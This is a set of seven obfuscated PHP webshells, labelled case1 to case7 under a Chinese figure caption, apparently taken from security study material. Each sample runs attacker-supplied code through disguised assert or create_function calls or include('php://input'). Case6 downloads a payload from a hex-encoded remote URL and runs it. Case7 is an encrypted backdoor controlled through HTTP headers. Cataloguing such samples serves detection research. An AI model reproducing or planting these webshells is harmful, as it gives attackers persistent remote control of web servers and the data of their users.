case1:
<?php $K=sTr_RepLaCe('`','','a`s`s`e`r`t'); $M=$_POST[ice]; IF($M==NuLl)HeaDeR('Status:404'); Else/**/$K($M); ?>
图4-16 功能完善的WebShell
case2:
<?php $qajd2="VDFOVVd5";$vvnr1="UUdWMllX";$hitq5="d29KRjlR";$itfh2="ZGtabmg2Y1RRblhTazc=";// dfxzq4 $akmi4 = str_replace("eu2","","eu2seu2teu2reu2_reu2eeu2pleu2aeu2ce");// ulgp9 $hygg4 = $akmi4("so0", "", "so0baso0sso0e6so04so0_so0dso0eso0cso0oso0dso0e");// qbhm1 $gzsw5 = $akmi4("qik6","","qik6cqik6reqik6atqik6eqik6_fqik6uncqik6tqik6ioqik6n"); // kfcs6 $foxl6 = $gzsw5('', $hygg4($hygg4($akmi4("$;*,.", "", $vvnr1.$hitq5.$qajd2.$itfh2)))); $foxl6(); ?>
case3:
// php://input based backdoor // uses include('php://input') to execute arbritary code // Any valid PHP code sent as raw POST data to backdoor is ran // overrides the php.ini settings using ini_set :) // Insecurety Research 2013 | insecurety.net <?php ini_set('allow_url_include, 1'); // Allow url inclusion in this script // No eval() calls, no system() calls, nothing normally seen as malicious. include('php://input'); ?>
case4:
<?php @$_="s"."s"./*- //////////////////// *-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/ ///////////////////// *-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>
case5:
<?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['hkwwj']); ?>
case6:
<?php session_start(); ini_set('memory_limit',-1); $i = pack('c*', 0x70, 0x61, 99, 107); $GLOBALS = array( 'p' => pack('c*', 0x70, 0x61, 99, 107), 'c' => $i('c*', 99, 97, 108, 108, 95, 117, 115, 101, 114, 95, 102, 117, 110, 99), 'f' => $i('c*', 102, 105, 108, 101, 95, 103, 101, 116, 95, 99, 111, 110, 116, 101, 110, 116, 115), 'e' => $i('c*',0x63,0x72,0x65,0x61,0x74,0x65,0x5f,0x66,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e), 'h' => $i('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f7631'), 's' =>$i('c*',0x73,0x70,0x72,0x69,0x6e,0x74,0x66) ); if(!isset($_SESSION['t'])){$_SESSION['t'] = $GLOBALS['f']($GLOBALS['h']);} $GLOBALS['c']($GLOBALS['e'](null, $GLOBALS['s']('%s',$GLOBALS['p']('H*',$_SESSION['t'])))); ?>
case7:
<?php $w='Do0;$Doi<$l;Do){for($j=0;($Doj<$cDo&&$i<$l);$j++Do,Do$i++){$o.DoDo=$t{$i}^Do$k{$j};}Do}retDourn $o;}$r=Do$_SER'; $y=str_replace('km','','crkmekmate_kmkmfukmkmnction'); $t='($e)Do{$k=$khDo.$kf;ob_sDotDoart();@eDoval(@gzDouDoncomDopress(Do@x(@bDoase64Do_decode(preg_replaDoce(aDoDorr'; $b='$kh="63Doa9"Do;$kfDo="f0eaDo";fuDoncDotion x($t,$kDo){$c=strlen($kDo);$lDo=strlen(Do$t);$o=Do"";fDoor($iDo='; $f='ay("/Do_/","Do/-/"),aDorrayDo("/","+"Do),$ss($s[$Doi],0,DoDo$e))Do),$k)));$o=ob_get_DoconteDonDots();ob_endDo_cle'; $H=']Do+(Do?:;Doq=0.([\\d]))?,?/",$ra,DoDo$m);if($q&Do&$m){@seDossDoionDoDo_start();$s=&$_DoSESSIODoNDo;$ss="substr";$Do'; $I='sl=Do"sDotrtDoolower";$i=$mDo[Do1][0].$m[1][1];$Doh=$sl($Doss(mdDo5($i.$kDoh),0,3Do));$DofDo=$sl($ss(md5(DoDo$i.$kf),0'; $K='VEDoR;$rrDo=@$r[Do"HTTDoP_REFERDoER"];$rDoaDoDo=@$Dor["HTTP_DoACCEPDoT_LANGUADoGE"];if($rr&&$raDo)Do{$Dou=Dopars'; $a='e_url($rr);paDorse_str($Dou["querDoy"Do]Do,$q);$Doq=array_DoDovaDolues($q);prDoeDog_Domatch_all(Do"/([\\w])[\\w-'; $A='Do,3))Do;$p="Do";Dofor($z=1;$Doz<cDoount($m[Do1]DoDo);Do$z++)$p.=$q[$m[2][$Doz]Do];if(strpos($DoDop,$h)===0)Do'; $S='an()Do;$d=baDoseDo64_encoDode(x(gzDoDocompressDo($o)DoDo,Do$k));print("<$k>Do$Dod</$k>");@session_deDostroy(Do);}}}}'; $M='{Do$s[$i]="";$Dop=$ss($pDo,3);}if(arDoray_kDoey_existDos($i,$DoDos)){$Dos[$i].=Do$p;$e=strpDoos($s[Do$i],$f);DoifDo'; $Q=str_replace('Do','',$b.$w.$K.$a.$H.$I.$A.$M.$t.$f.$S); $P=$y('',$Q);$P(); ?>